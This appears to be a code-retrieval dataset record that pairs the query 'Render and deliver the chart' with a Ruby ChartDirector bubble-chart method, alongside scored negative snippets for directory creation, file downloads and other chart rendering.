"def download(file, todir = '.')\r\n begin\r\n puts \"Downloading file #{file} from #{@address}\"\r\n c = open(\"http://#{@address}/#{file}\").read\r\n Dir.mkdir(todir) if not File.directory?(todir)\r\n f = open(\"#{todir}/#{file}\", 'wb')\r\n f.puts c\r\n f.close\r\n rescue => e\r\n if not File.exists?(fullfile)\r\n $stderr.puts \"Could not download file #{file} form #{@address}.\"\r\n $stderr.puts e.to_s\r\n end\r\n end\r\nend",
"def create_dir path\n path = with_root path\n path = fix_path path\n sftp.mkdir! path\n end",
"def make_dir(path)\n FileUtils.mkdir_p( path )# unless File.exists?(path)\n end",
"def create_file(filename)\n # See zipfile branch in repository for zip file creation code.\n Dir.mkdir filename\n # TODO: Handle case where directory can't be created.\n end",
"def create_folder\n unless File.directory?(client.config.tmp_folder)\n FileUtils.mkdir_p(client.config.tmp_folder)\n end\n end",
"def create_directory(path)\n FileUtils.mkdir_p(path)\n path\n end",
"def create_directory\n return if File.directory?(DIRECTORY_PATH)\n\n FileUtils.mkdir_p(DIRECTORY_PATH)\n end",
"def mk_tmp_dir\n Dir.mktmpdir('janna-tmp-download-', '/tmp')\n end",
"def create\n FileUtils.mkdir_p(directory) unless exist?\n end",
"def create\n FileUtils.mkdir_p path\n end",
"def create_directory\n remove_dir(@name) if Dir.exist?(@name)\n Dir.mkdir(@name)\n end",
"def write_to_folder\n File.open(prepare_file_path_to_download, 'w') do |file|\n file.write(response[:content])\n end\n end",
"def create_local_directories!\n FileUtils.mkdir_p(remote_path)\n end",
"def create_local_directories!\n FileUtils.mkdir_p(remote_path)\n end",
"def make_directory(path)\n mkdir(path)\n chown(path, user)\n path\n end",
"def make_output_dir (src_path)\n delete_all_files(src_path) if directory_exists?(src_path) == true\n Dir.mkdir(src_path)\nend",
"def make_dir(dir_path)\n FileUtils.mkdir_p(dir_path) unless File.directory?(dir_path)\n end",
"def ensure_directory\n FileUtils.mkdir_p(to_s)\n self\n end",
"def output_directory(payload)\n path = File.join(\n working_directory(payload),\n 'generated-repositories'\n )\n FileUtils.mkdir_p(File.dirname(path))\n path\n end",
"def download\n # noinspection RubyCaseWithoutElseBlockInspection\n case type\n when 'direct'\n dir = File.dirname(path)\n FileUtils.mkdir_p(dir)\n Attachment.download_from_url(source, dir)\n when 'git'\n FileUtils.mkdir_p(File.dirname(path))\n ::Open3.capture3('git submodule update --init --recursive')\n end\n end",
"def create_file_and_folder\n begin\n Dir::mkdir(@directory)\n rescue Errno::EEXIST\n end\n FileUtils.touch \"#{@directory}/#{@store}.yml\"\n end",
"def create_server_dir\n @task.remove_dir @path\n @task.empty_directory @path\n end",
"def create_directory path\n unless File.exists?(path)\n FileUtils::mkdir_p path\n Puppet.notice \"Created directory #{path}\"\n end\n end",
"def student_portfolio_dir(project, create = true)\n file_server = Doubtfire::Application.config.student_work_dir\n dst = \"#{file_server}/portfolio/\" # trust the server config and passed in type for paths\n\n dst << sanitized_path(\"#{project.unit.code}-#{project.unit.id}\", \"#{project.student.username}\" )\n\n # Create current dst directory should it not exist\n if create\n FileUtils.mkdir_p(dst)\n end\n dst\n end",
"def createFilePath(file)\n fd = File.dirname(file)\n Dir.mkdir(fd) if !File.exists?(fd)\n end",
"def build_dir\n Puppet::Forge::Cache.base_path + \"tmp-unpacker-#{Digest::SHA1.hexdigest(@filename.basename.to_s)}\"\n end",
"def create_dir(dirName)\r\n\tif !File.directory?(dirName)\r\n\t\tFileUtils.mkdir(dirName) #creates the /build directory\r\n\tend\r\nend",
"def create_dir(dirName)\r\n\tif !File.directory?(dirName)\r\n\t\tFileUtils.mkdir(dirName) #creates the /build directory\r\n\tend\r\nend",
"def mkdir(dirname)\n ensure_relative_path! :mkdir, dirname\n @ftp.mkdir dirname\n end",
"def bootstrap_folder\n FileUtils.mkdir_p folder_path\n end",
"def download\n path.dirname.mkpath\n\n case io = open(url)\n when StringIO\n begin\n exact_path.open('w', 0o755) { |fd| fd.write(io) }\n rescue StandardError\n exact_path.unlink if exact_path.exist?\n raise\n end\n when Tempfile\n io.close\n iopath = Pathname.new(io.path)\n iopath.chmod(0o755)\n iopath.rename exact_path\n end\n\n path.delete if path.symlink?\n path.make_symlink exact_path\n end",
"def create_folder()\n\n directory_name = \"./public/swap/imageuploader\"\n Dir.mkdir(directory_name) unless File.exists?(directory_name)\n\nend",
"def mk_dir(path)\n FileUtils.mkdir_p(path) unless File.directory?(path)\n end",
"def create_dir(path)\n FileUtils.mkdir_p(path, { mode: 0775 }) unless File.exists?(path)\n end",
"def gen_news_dir()\n dir = \"#{Rails.root}/public/secure/news/#{@folder}\"\n if Dir.exist? dir\n dir\n else\n dir if FileUtils.mkdir_p dir\n end\n end",
"def new_file\n raise \"Not a Valid Directory\" unless valid_directory?\n\n file_name = \"#{Time.now.strftime(\"%Y%m%d%H%M%S\")}_#{process}.txt\"\n \"#{output_directory_path}#{file_name}\"\n end",
"def create\n output_path = ''\n\n CustomUtils.mktmpdir('knowings_api_file', \"/nfs/tmp/knowings/\") do |dir|\n metapath = create_meta(dir)\n basename = ::File.basename(@file_name, '.pdf')\n output_path = ::File.join(dir, \"#{basename}#{EXTENSION}\")\n\n POSIX::Spawn.system \"zip -j #{output_path} #{metapath} #{@filepath}\"\n end\n\n output_path\n end",
"def create_zip(name,url)\n @outputFile = (Rails.root.to_s+\"/tmp/cache/downloads/\"+name+\".zip\")\n if File.exist?(@outputFile)\n FileUtils.rm_rf (@outputFile)\n end\n @inputDir = url\n entries = Dir.entries(@inputDir)\n entries.delete(\".\")\n entries.delete(\"..\")\n io = Zip::ZipFile.open(@outputFile, Zip::ZipFile::CREATE)\n writeEntries(entries, \"\", io) #calling recursive write entries method\n io.close();\n return @outputFile\n end",
"def create\n location.mkdir\n end",
"def make_destination_dir(dest_dir)\n unless File.exist?(dest_dir)\n #ディレクトリが存在しない場合作成\n FileUtils.mkdir_p(dest_dir) \n end\n end",
"def create_dir(dir)\n unless File.directory?(dir)\n FileUtils.mkdir_p(dir)\n end\nend",
"def create_backup_path\n if File.exist?(@new_path)\n if !File.directory?(@new_path)\n #TODO: error properly\n abort\n end\n else\n FileUtils.mkdir_p @new_path\n end\n end",
"def create_yolo_dir\n unless File.directory?(yolo_dir)\n FileUtils.mkdir_p(yolo_dir)\n end\n end",
"def make_dir (dirname)\n begin\n unless File.exists?(dirname)\n puts \"[add] making directory '#{dirname}'\"\n FileUtils.mkdir(dirname)\n end\n rescue Exception => e\n puts \"An error occurred when trying to create the directory '#{dirname}', exception found was: \"+ e.message\n exit 1\n end\n end",
"def prepare_file_path_to_download\n folder = ::EasyManageClient.configuration(profile).download_folder\n file_extension = ::EasyManageClient.configuration(profile).file_extension\n File.join(folder, \"#{response[:reference]}.#{file_extension}\")\n end",
"def output_final_directory_path\n unless instance_variable_defined? :@output_final_directory_path\n tmp_path = Dir.mktmpdir(TEMP_ZIP_PATH_PREFIX)\n @output_final_directory_path = File.join(tmp_path, output_final_subdirectory_name)\n FileUtils.mkdir_p @output_final_directory_path\n end\n @output_final_directory_path\n end",
"def initialize_output_directory()\n require 'fileutils'\n FileUtils.mkdir_p(OUTPUT_DIRECTORY)\n end",
"def create_download(user_id, data, full_filename, export_type, content_type)\n download = Download.create(user_id: user_id, export_type: export_type, filename: full_filename)\n download.export_files.attach(io: data, filename: full_filename, content_type: content_type)\n download\n ensure\n FileUtils.remove_entry(File.dirname(data)) if data.is_a?(File) && File.exist?(data)\n end",
"def save_url\n dir.mkpath\n File.open(dir + '.url', 'w') { |file| file.write(@url) }\n rescue => e\n raise Informative, \"Could not create '#{config.repos_dir}', the CocoaPods repo cache directory.\\n\" \\\n \"#{e.class.name}: #{e.message}\"\n end",
"def make_output_directory\n puts \"Making output directory\"\n # Double check that we don't clobber an existing dir\n if File.exists? @output_dir\n puts \"\\nSORRY! '#{ @output_dir }' directory already exists. Please try again.\\n\\n\"\n exit\n end\n FileUtils.mkdir_p @output_dir\n end",
"def makePath\n\t\t\tbuildMgr.effective(filename).dirname.mkpath\n\t\tend",
"def create_dir(dir)\n\t\tif !FileTest::directory?(dir)\n\t\t\tDir::mkdir(dir)\n\t\tend\n\tend",
"def mkdirs()\n if !File.exists?(\"data\")\n Dir.mkdir(\"data\")\n end \n if !File.exists?(CACHE_DIR)\n Dir.mkdir(CACHE_DIR)\n end\n if !File.exists?(RDF_DIR)\n Dir.mkdir(RDF_DIR)\n end\nend",
"def create_output_dir(opts)\n BawWorkers::Validation.check_custom_hash(opts, BawWorkers::Jobs::Analysis::Payload::OPTS_FIELDS)\n\n analysis_store_opts = {\n job_id: opts[:job_id],\n uuid: opts[:uuid],\n sub_folders: []\n }\n\n dirs_output = @analysis_cache.possible_paths_dir(analysis_store_opts)\n\n dir_output = File.expand_path(BawWorkers::Validation.normalise_path(dirs_output.first, nil))\n\n FileUtils.mkpath([dir_output])\n\n dir_output\n end",
"def mkpath(directory)\n FileUtils.mkdir_p(directory.to_s, :mode => @permissions[:dir], :verbose => true)\n end",
"def createProdFolder(path) \n # Create book production folder\n @book_zip_generated_folder=path+\"book_prod_folder/\"\n if (File.exists?(@book_zip_generated_folder) && File.directory?(@book_zip_generated_folder))\n puts \"Book Production folder exists\"\n else\n Dir.mkdir(@book_zip_generated_folder)\n end\nend",
"def CreateDir(aDir):\n FileUtils.mkdir_p(aDir)\n end",
"def output_dir_path\n @output_dir_path ||= download_dir_path\n end",
"def create_dir(dir)\n dir = \"#{@dir}/#{dir}\"\n puts \"... Creating directory '#{dir}'\"\n Dir.mkdir(dir)\n end",
"def make_cache_dir\n ::FileUtils.mkdir_p(@cache_dir) unless ::File.directory?(@cache_dir)\n end",
"def write_dir(dir)\n dir.descend do |sub|\n @sftp.mkdir!(sub) unless exist?(sub)\n end\n end",
"def destination(base_directory); end",
"def createProdFolder(path) \n # Create book production folder\n @book_zip_generated_folder=path+\"book_prod_folder/\"\n if (File.exists?(@book_zip_generated_folder) && File.directory?(@book_zip_generated_folder))\n puts \"Book Production folder exists\"\n else\n Dir.mkdir(@book_zip_generated_folder)\n end\n \n #Create book zip folder\n @book_prod_final_zip_folder=@book_zip_generated_folder+\"book/\"\n if (File.exists?(@book_prod_final_zip_folder) && File.directory?(@book_prod_final_zip_folder))\n puts \"Book Prod Zip folder exists\"\n else\n Dir.mkdir(@book_prod_final_zip_folder)\n end\nend",
"def make_directory(rev, full_path)\n if rev.path_exists?(full_path)\n raise Repository::FolderExistsConflict, full_path # raise conflict if path exists\n end\n creation_time = Time.current\n dir = Repository::RevisionDirectory.new(rev.revision_identifier, {\n name: File.basename(full_path),\n path: File.dirname(full_path),\n last_modified_revision: rev.revision_identifier,\n last_modified_date: creation_time,\n submitted_date: creation_time,\n changed: true,\n user_id: rev.user_id\n })\n rev.__add_directory(dir)\n rev\n end",
"def gen_sub_directories\n @outputdir.mkpath\n end",
"def create_directory(directory)\n Dir.chdir(path)\n Dir.mkdir(directory) unless File.directory?(directory)\n end",
"def write\n make_parent_directory\n generate_file\n end",
"def mktestdir\n testdir = File.join(tmpdir, \"remotefilecopytesting\")\n @@tmpfiles << testdir\n\n # create a tmpfile\n pattern = \"tmpfile\"\n tmpfile = File.join(testdir, pattern)\n assert_nothing_raised {\n Dir.mkdir(testdir)\n File.open(tmpfile, \"w\") { |f|\n 3.times { f.puts rand(100) }\n }\n }\n\n [testdir, %r{#{pattern}}, tmpfile]\n end",
"def output_dir(options = {})\n options[:dir] = \"generate\"\n build_webby_path(options)\n end",
"def download_package\n path = download_path\n remote_file path do\n source URL\n action :create\n only_if { !::File.exist?(PATH) }\n end\n end",
"def directory(dir)\n Rake.each_dir_parent(dir) do |d|\n file_create d do |t|\n mkdir_p t.name if ! File.exist?(t.name)\n end\n end\nend",
"def gen_video_dir()\n dir = \"#{Rails.root}/public/secure/video/#{@folder}\"\n if Dir.exist? dir\n dir\n else\n dir if FileUtils.mkdir_p dir\n end\n end",
"def create\n create_directories\n end",
"def make_data_dir\n unless Dir.exist?(self.data_store_path)\n FileUtils.mkdir_p(self.data_store_path)\n end\n end",
"def generatedReportFolder\n currentData, currentTime = DateTime.now.strftime(\"%Y_%m_%d %H_%M\").split(' ')\n path = \"#{$ROOT}/../output\"\n creatFolder(path)\n path += \"/#{currentData}\"\n creatFolder(path)\n path += \"/#{currentTime}\"\n creatFolder(path)\n path\n end",
"def create_folder(directory)\n\tputs 'Creating directory \\'' + directory + '\\'...'\n\tFileUtils.mkdir_p directory\n\tputs 'done'\nend",
"def find_or_create_remote_directory(file)\n begin\n return unless File.directory?(local_path(file))\n self.ftp_connection.chdir(remote_path(file))\n rescue\n puts \"Creating directory: #{file}\"\n self.ftp_connection.mkdir(remote_path(file))\n end\n end",
"def create_moab_dirs()\n target_path = manifest_path(self.object.id, self.version)\n if File.directory?(target_path)\n err_string = \"The Moab directory #{target_path} for \"\\\n \"#{self.object.id} version #{self.version} already exists\"\n Rails.logger.error(err_string)\n raise DRI::Exceptions::InternalError, err_string\n end\n\n make_dir(\n [\n version_path(self.object.id, self.version),\n metadata_path(self.object.id, self.version),\n content_path(self.object.id, self.version)\n ]\n )\n end",
"def find_or_create_destination_folder\n Dir.mkdir(HTML_RESULT_FOLDER) if !Dir.exists?HTML_RESULT_FOLDER\n end",
"def create_job_dir\n begin\n path = \"#{FILE_SERVER_ROOT}/#{self.project.user.login}/#{self.project_id}/#{self.id}/\"\n logger.error(\"Creating job dir: #{path}\")\n FileUtils.mkdir(path)\n FileUtils.chmod_R(0777, path)\n rescue\n logger.error(\"An error occurred creating job dir for job: #{self.id}\")\n return false\n end\n end",
"def create_folder_if_needed path; Dir.mkdir(path) unless File.exists?(path) end",
"def make_directories!\n @sprites_path.mkpath unless @sprites_path.directory?\n @sources_path.mkpath unless @sources_path.directory?\n end",
"def ensureDir(filename)\n dir = File::dirname(filename) ;\n system(\"mkdir -p #{dir}\") ;\n end",
"def make_dir(output_path)\n constructed_dir = \"\"\n i = 0\n\n folders = output_path.split(\"/\")\n folders.each {|subdir|\n if (i == 0)\n constructed_dir = subdir\n else\n constructed_dir = constructed_dir + \"/\" + subdir\n end\n i += 1\n if not (Dir.exist? constructed_dir)\n puts(\"Constructed dir: \" + constructed_dir)\n Dir.mkdir constructed_dir\n end\n }\nend",
"def create_directory(path)\n clean_path = File.expand_path(path.gsub(/ /, '_'))\n Dir.mkdir(clean_path)\n clean_path\n end",
"def createFtpFolder\n path = @params['path']\n Rho::AsyncHttp.get(\n :url => path\n )\n end",
"def gen_sub_directories\n\t\t@outputdir.mkpath\n\tend",
"def gen_sub_directories\n\t\t@outputdir.mkpath\n\tend",
"def generate_cache_directory\n @cache_cid = generate_cid\n FileUtils.mkdir_p(cache_path)\n FileUtils.chmod dir_permissions.to_i, cache_path\n end",
"def create_dir(path, property)\n FileUtils.mkdir_p(path)\n insert_property(property, path)\n end",
"def ensure_dir(path)\n directory path do\n action :create\n recursive true\n end\nend"
] |
[
"0.7344339",
"0.7090044",
"0.70176315",
"0.7009148",
"0.7009148",
"0.69782895",
"0.6887349",
"0.6885262",
"0.68646556",
"0.6845633",
"0.68074155",
"0.6789333",
"0.67712027",
"0.6760689",
"0.6737601",
"0.6716044",
"0.6715127",
"0.67087954",
"0.6692436",
"0.66458535",
"0.66404784",
"0.6632496",
"0.66087085",
"0.66087085",
"0.6569709",
"0.65514",
"0.65298176",
"0.65214574",
"0.6513302",
"0.6512484",
"0.6508078",
"0.6495278",
"0.6477408",
"0.64763695",
"0.64628625",
"0.6461808",
"0.6455121",
"0.6455121",
"0.6451012",
"0.6450036",
"0.64377093",
"0.64226574",
"0.6411051",
"0.6392179",
"0.6387529",
"0.63850397",
"0.6373065",
"0.6358133",
"0.6354507",
"0.63487244",
"0.63461995",
"0.6343426",
"0.6337189",
"0.6332427",
"0.6329963",
"0.63244617",
"0.6323884",
"0.6310136",
"0.6306854",
"0.63057715",
"0.6297172",
"0.62892354",
"0.6283745",
"0.62791294",
"0.627819",
"0.62717533",
"0.6269735",
"0.6253088",
"0.6230073",
"0.62116855",
"0.61988324",
"0.61971414",
"0.6179885",
"0.6177153",
"0.6162341",
"0.61603665",
"0.6149382",
"0.61471975",
"0.6134458",
"0.61324096",
"0.61236125",
"0.61220706",
"0.6115437",
"0.6110267",
"0.61088824",
"0.6105694",
"0.6105538",
"0.61013323",
"0.6092501",
"0.6091861",
"0.6091455",
"0.6090261",
"0.6087877",
"0.6085325",
"0.6085247",
"0.6085215",
"0.6084327",
"0.6084327",
"0.6081647",
"0.60767365",
"0.60756373"
] |
0.0
|
-1
|
Render and deliver the chart
|
def getchart()
# The XYZ points for the bubble chart
dataX0 = [170, 300, 1000, 1700]
dataY0 = [16, 69, 16, 75]
dataZ0 = [52, 105, 88, 140]
dataX1 = [500, 1000, 1300]
dataY1 = [40, 58, 85]
dataZ1 = [140, 202, 84]
# Create a XYChart object of size 540 x 480 pixels
c = ChartDirector::XYChart.new(540, 480)
# Set the plotarea at (70, 65) and of size 400 x 350 pixels. Turn on both
# horizontal and vertical grid lines with light grey color (0xc0c0c0)
c.setPlotArea(70, 65, 400, 350, -1, -1, ChartDirector::Transparent, 0xc0c0c0, -1)
# Add a legend box at (70, 30) (top of the chart) with horizontal layout. Use 12
# pts Times Bold Italic font. Set the background and border color to Transparent.
c.addLegend(70, 30, false, "timesbi.ttf", 12).setBackground(
ChartDirector::Transparent)
# Add a title to the chart using 18 pts Times Bold Itatic font.
c.addTitle("Product Comparison Chart", "timesbi.ttf", 18)
# Add titles to the axes using 12 pts Arial Bold Italic font
c.yAxis().setTitle("Capacity (tons)", "arialbi.ttf", 12)
c.xAxis().setTitle("Range (miles)", "arialbi.ttf", 12)
# Set the axes line width to 3 pixels
c.xAxis().setWidth(3)
c.yAxis().setWidth(3)
# Add (dataX0, dataY0) as a scatter layer with red (ff3333) glass spheres, where
# the sphere size is modulated by dataZ0. This creates a bubble effect.
c.addScatterLayer(dataX0, dataY0, "Technology AAA",
ChartDirector::GlassSphere2Shape, 15, 0xff3333).setSymbolScale(dataZ0)
# Add (dataX1, dataY1) as a scatter layer with blue (0000ff) glass spheres, where
# the sphere size is modulated by dataZ1. This creates a bubble effect.
c.addScatterLayer(dataX1, dataY1, "Technology BBB",
ChartDirector::GlassSphere2Shape, 15, 0x0000ff).setSymbolScale(dataZ1)
# Output the chart
send_data(c.makeChart2(ChartDirector::PNG), :type => "image/png",
:disposition => "inline")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def render_chart\n assert_privileges(\"view_graph\")\n\n if params[:report]\n rpt = MiqReport.for_user(current_user).find_by(:name => params[:report])\n rpt.generate_table(:userid => session[:userid])\n else\n rpt = if session[:report_result_id]\n MiqReportResult.for_user(current_user).find(session[:report_result_id]).report_results\n elsif session[:rpt_task_id].present?\n MiqTask.find(session[:rpt_task_id]).task_results\n else\n @report\n end\n end\n\n rpt.to_chart(settings(:display, :reporttheme), true, MiqReport.graph_options)\n rpt.chart\n end",
"def show\n @chart_data0 = make_chart_data(@progress.company_name,0)\n @chart_data1 = make_chart_data(@progress.company_name,1)\n @chart_data2 = make_chart_data(@progress.company_name,2)\n end",
"def chart(reload_cache = false)\n return body.html_safe if body? && !reload_cache\n \n chart_code = nil\n \n opts = {\n :title => legend,\n :renderTo => \"chart-#{(0...16).map{65.+(rand(25)).chr}.join}\"\n }\n \n hc = Highchart.new(opts, csv)\n hc.transpose = transpose\n \n chart_code = \"<div id=\\\"#{opts[:renderTo]}\\\" style=\\\"height:#{height}px;width:#{width}px;\\\"></div>\"\n chart_code << hc.render\n\n if new_record?\n self.body = chart_code\n else\n update_attributes(:body => chart_code)\n end\n return body.html_safe\n end",
"def show_chart\n render :partial => 'charts', :project => @project\n end",
"def getchart()\n # The data for the chart\n data0 = [32, 39, 23, 28, 41, 38, 26, 35, 29]\n data1 = [50, 55, 47, 34, 47, 53, 38, 40, 51]\n\n # The labels for the chart\n labels = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\"]\n\n # Create a XYChart object of size 600 x 300 pixels, with a pale red (ffdddd)\n # background, black border, 1 pixel 3D border effect and rounded corners.\n c = ChartDirector::XYChart.new(600, 300, 0xffdddd, 0x000000, 1)\n c.setRoundedFrame()\n\n # Set directory for loading images to current script directory\n c.setSearchPath(File.dirname(__FILE__))\n\n # Set the plotarea at (55, 58) and of size 520 x 195 pixels, with white (ffffff)\n # background. Set horizontal and vertical grid lines to grey (cccccc).\n c.setPlotArea(55, 58, 520, 195, 0xffffff, -1, -1, 0xcccccc, 0xcccccc)\n\n # Add a legend box at (55, 32) (top of the chart) with horizontal layout. Use 9\n # pts Arial Bold font. Set the background and border color to Transparent.\n c.addLegend(55, 32, false, \"arialbd.ttf\", 9).setBackground(\n ChartDirector::Transparent)\n\n # Add a title box to the chart using 15 pts Times Bold Italic font. The title is\n # in CDML and includes embedded images for highlight. The text is white (ffffff)\n # on a dark red (880000) background, with soft lighting effect from the right\n # side.\n c.addTitle(\n \"<*block,valign=absmiddle*><*img=star.png*><*img=star.png*> Performance \" \\\n \"Enhancer <*img=star.png*><*img=star.png*><*/*>\", \"timesbi.ttf\", 15, 0xffffff\n ).setBackground(0x880000, -1, ChartDirector::softLighting(ChartDirector::Right\n ))\n\n # Add a title to the y axis\n c.yAxis().setTitle(\"Energy Concentration (KJ per liter)\")\n\n # Set the labels on the x axis\n c.xAxis().setLabels(labels)\n\n # Add a title to the x axis using CMDL\n c.xAxis().setTitle(\n \"<*block,valign=absmiddle*><*img=clock.png*> Elapsed Time (hour)<*/*>\")\n\n # Set the axes width to 2 pixels\n c.xAxis().setWidth(2)\n c.yAxis().setWidth(2)\n\n # Add a spline layer to the chart\n layer = c.addSplineLayer()\n\n # Set the default line width to 2 pixels\n layer.setLineWidth(2)\n\n # Add a data set to the spline layer, using blue (0000c0) as the line color, with\n # yellow (ffff00) circle symbols.\n layer.addDataSet(data1, 0x0000c0, \"Target Group\").setDataSymbol(\n ChartDirector::CircleSymbol, 9, 0xffff00)\n\n # Add a data set to the spline layer, using brown (982810) as the line color, with\n # pink (f040f0) diamond symbols.\n layer.addDataSet(data0, 0x982810, \"Control Group\").setDataSymbol(\n ChartDirector::DiamondSymbol, 11, 0xf040f0)\n\n # Add a custom CDML text at the bottom right of the plot area as the logo\n c.addText(575, 250,\n \"<*block,valign=absmiddle*><*img=small_molecule.png*> <*block*>\" \\\n \"<*font=timesbi.ttf,size=10,color=804040*>Molecular\\nEngineering<*/*>\"\n ).setAlignment(ChartDirector::BottomRight)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def div\n @adapter.generate_body(@chart)\n end",
"def getchart()\n # The data for the bar chart\n data0 = [100, 125, 156, 147, 87, 124, 178, 109, 140, 106, 192, 122]\n data1 = [122, 156, 179, 211, 198, 177, 160, 220, 190, 188, 220, 270]\n data2 = [167, 190, 213, 267, 250, 320, 212, 199, 245, 267, 240, 310]\n labels = [\"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sept\", \"Oct\",\n \"Nov\", \"Dec\"]\n\n # Create a XYChart object of size 580 x 280 pixels\n c = ChartDirector::XYChart.new(580, 280)\n\n # Add a title to the chart using 14 pts Arial Bold Italic font\n c.addTitle(\"Product Revenue For Last 3 Years\", \"arialbi.ttf\", 14)\n\n # Set the plot area at (50, 50) and of size 500 x 200. Use two alternative\n # background colors (f8f8f8 and ffffff)\n c.setPlotArea(50, 50, 500, 200, 0xf8f8f8, 0xffffff)\n\n # Add a legend box at (50, 25) using horizontal layout. Use 8pts Arial as font,\n # with transparent background.\n c.addLegend(50, 25, false, \"arial.ttf\", 8).setBackground(\n ChartDirector::Transparent)\n\n # Set the x axis labels\n c.xAxis().setLabels(labels)\n\n # Draw the ticks between label positions (instead of at label positions)\n c.xAxis().setTickOffset(0.5)\n\n # Add a multi-bar layer with 3 data sets\n layer = c.addBarLayer2(ChartDirector::Side)\n layer.addDataSet(data0, 0xff8080, \"Year 2003\")\n layer.addDataSet(data1, 0x80ff80, \"Year 2004\")\n layer.addDataSet(data2, 0x8080ff, \"Year 2005\")\n\n # Set 50% overlap between bars\n layer.setOverlapRatio(0.5)\n\n # Add a title to the y-axis\n c.yAxis().setTitle(\"Revenue (USD in millions)\")\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def render\n labels = []\n values = []\n @data.each do |label, value|\n labels << CGI::escape(label)\n values << (value > 0 ? value * 100 / @max : value).round.to_s\n end\n params = {:cht => 'p', :chs => \"#{width}x#{height}\", :chd => \"t:#{values.join(',')}\", :chl => labels.join('|') }\n params['chco'] = color if color\n\n url = \"http://chart.apis.google.com/chart?#{to_query(params)}\"\n\n alt_msg = \"This pie chart is generated by Google Charts. You must be connected to the Internet to view this chart.\"\n html = \"<img id=\\\"pie_chart_image\\\" src=\\\"#{url}\\\" alt=\\\"#{alt_msg}\\\"/>\"\n return html\n end",
"def getchart()\n # The data for the chart\n data0 = [42, 49, ChartDirector::NoValue, 38, 64, 56, 29, 41, 44, 57]\n data1 = [65, 75, 47, 34, 42, 49, 73, ChartDirector::NoValue, 90, 69, 66, 78]\n data2 = [ChartDirector::NoValue, ChartDirector::NoValue, 25, 28, 38, 20, 22,\n ChartDirector::NoValue, 25, 33, 30, 24]\n labels = [\"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sep\", \"Oct\",\n \"Nov\", \"Dec\"]\n\n # Create a XYChart object of size 600 x 360 pixels. Set background color to\n # brushed silver, with a 2 pixel 3D border. Use rounded corners.\n c = ChartDirector::XYChart.new(600, 360, ChartDirector::brushedSilverColor(),\n ChartDirector::Transparent, 2)\n c.setRoundedFrame()\n\n # Add a title using 18 pts Times New Roman Bold Italic font. #Set top/bottom\n # margins to 6 pixels.\n title = c.addTitle(\"Product Line Global Revenue\", \"timesbi.ttf\", 18)\n title.setMargin2(0, 0, 6, 6)\n\n # Add a separator line just under the title\n c.addLine(10, title.getHeight(), c.getWidth() - 11, title.getHeight(),\n ChartDirector::LineColor)\n\n # Add a legend box where the top-center is anchored to the horizontal center of\n # the chart, just under the title. Use horizontal layout and 10 points Arial Bold\n # font, and transparent background and border.\n legendBox = c.addLegend(c.getWidth() / 2, title.getHeight(), false, \"arialbd.ttf\",\n 10)\n legendBox.setAlignment(ChartDirector::TopCenter)\n legendBox.setBackground(ChartDirector::Transparent, ChartDirector::Transparent)\n\n # Tentatively set the plotarea at (70, 75) and of 460 x 240 pixels in size. Use\n # transparent border and black (000000) grid lines\n c.setPlotArea(70, 75, 460, 240, -1, -1, ChartDirector::Transparent, 0x000000, -1)\n\n # Set the x axis labels\n c.xAxis().setLabels(labels)\n\n # Show the same scale on the left and right y-axes\n c.syncYAxis()\n\n # Set y-axis tick density to 30 pixels. ChartDirector auto-scaling will use this\n # as the guideline when putting ticks on the y-axis.\n c.yAxis().setTickDensity(30)\n\n # Set all axes to transparent\n c.xAxis().setColors(ChartDirector::Transparent)\n c.yAxis().setColors(ChartDirector::Transparent)\n c.yAxis2().setColors(ChartDirector::Transparent)\n\n # Set the x-axis margins to 15 pixels, so that the horizontal grid lines can\n # extend beyond the leftmost and rightmost vertical grid lines\n c.xAxis().setMargin(15, 15)\n\n # Set axis label style to 8pts Arial Bold\n c.xAxis().setLabelStyle(\"arialbd.ttf\", 8)\n c.yAxis().setLabelStyle(\"arialbd.ttf\", 8)\n c.yAxis2().setLabelStyle(\"arialbd.ttf\", 8)\n\n # Add axis title using 10pts Arial Bold Italic font\n c.yAxis().setTitle(\"Revenue in USD millions\", \"arialbi.ttf\", 10)\n c.yAxis2().setTitle(\"Revenue in USD millions\", \"arialbi.ttf\", 10)\n\n # Add the first line. The missing data will be represented as gaps in the line\n # (the default behaviour)\n layer0 = c.addLineLayer2()\n layer0.addDataSet(data0, 0xff0000, \"Quantum Computer\").setDataSymbol(\n ChartDirector::GlassSphere2Shape, 11)\n layer0.setLineWidth(3)\n\n # Add the second line. The missing data will be represented by using dash lines to\n # bridge the gap\n layer1 = c.addLineLayer2()\n layer1.addDataSet(data1, 0x00ff00, \"Atom Synthesizer\").setDataSymbol(\n ChartDirector::GlassSphere2Shape, 11)\n layer1.setLineWidth(3)\n layer1.setGapColor(c.dashLineColor(0x00ff00))\n\n # Add the third line. The missing data will be ignored - just join the gap with\n # the original line style.\n layer2 = c.addLineLayer2()\n layer2.addDataSet(data2, 0xff6600, \"Proton Cannon\").setDataSymbol(\n ChartDirector::GlassSphere2Shape, 11)\n layer2.setLineWidth(3)\n layer2.setGapColor(ChartDirector::SameAsMainColor)\n\n # layout the legend so we can get the height of the legend box\n c.layoutLegend()\n\n # Adjust the plot area size, such that the bounding box (inclusive of axes) is 15\n # pixels from the left edge, just under the legend box, 16 pixels from the right\n # edge, and 25 pixels from the bottom edge.\n c.packPlotArea(15, legendBox.getTopY() + legendBox.getHeight(), c.getWidth() - 16,\n c.getHeight() - 25)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::JPG), :type => \"image/jpeg\",\n :disposition => \"inline\")\n end",
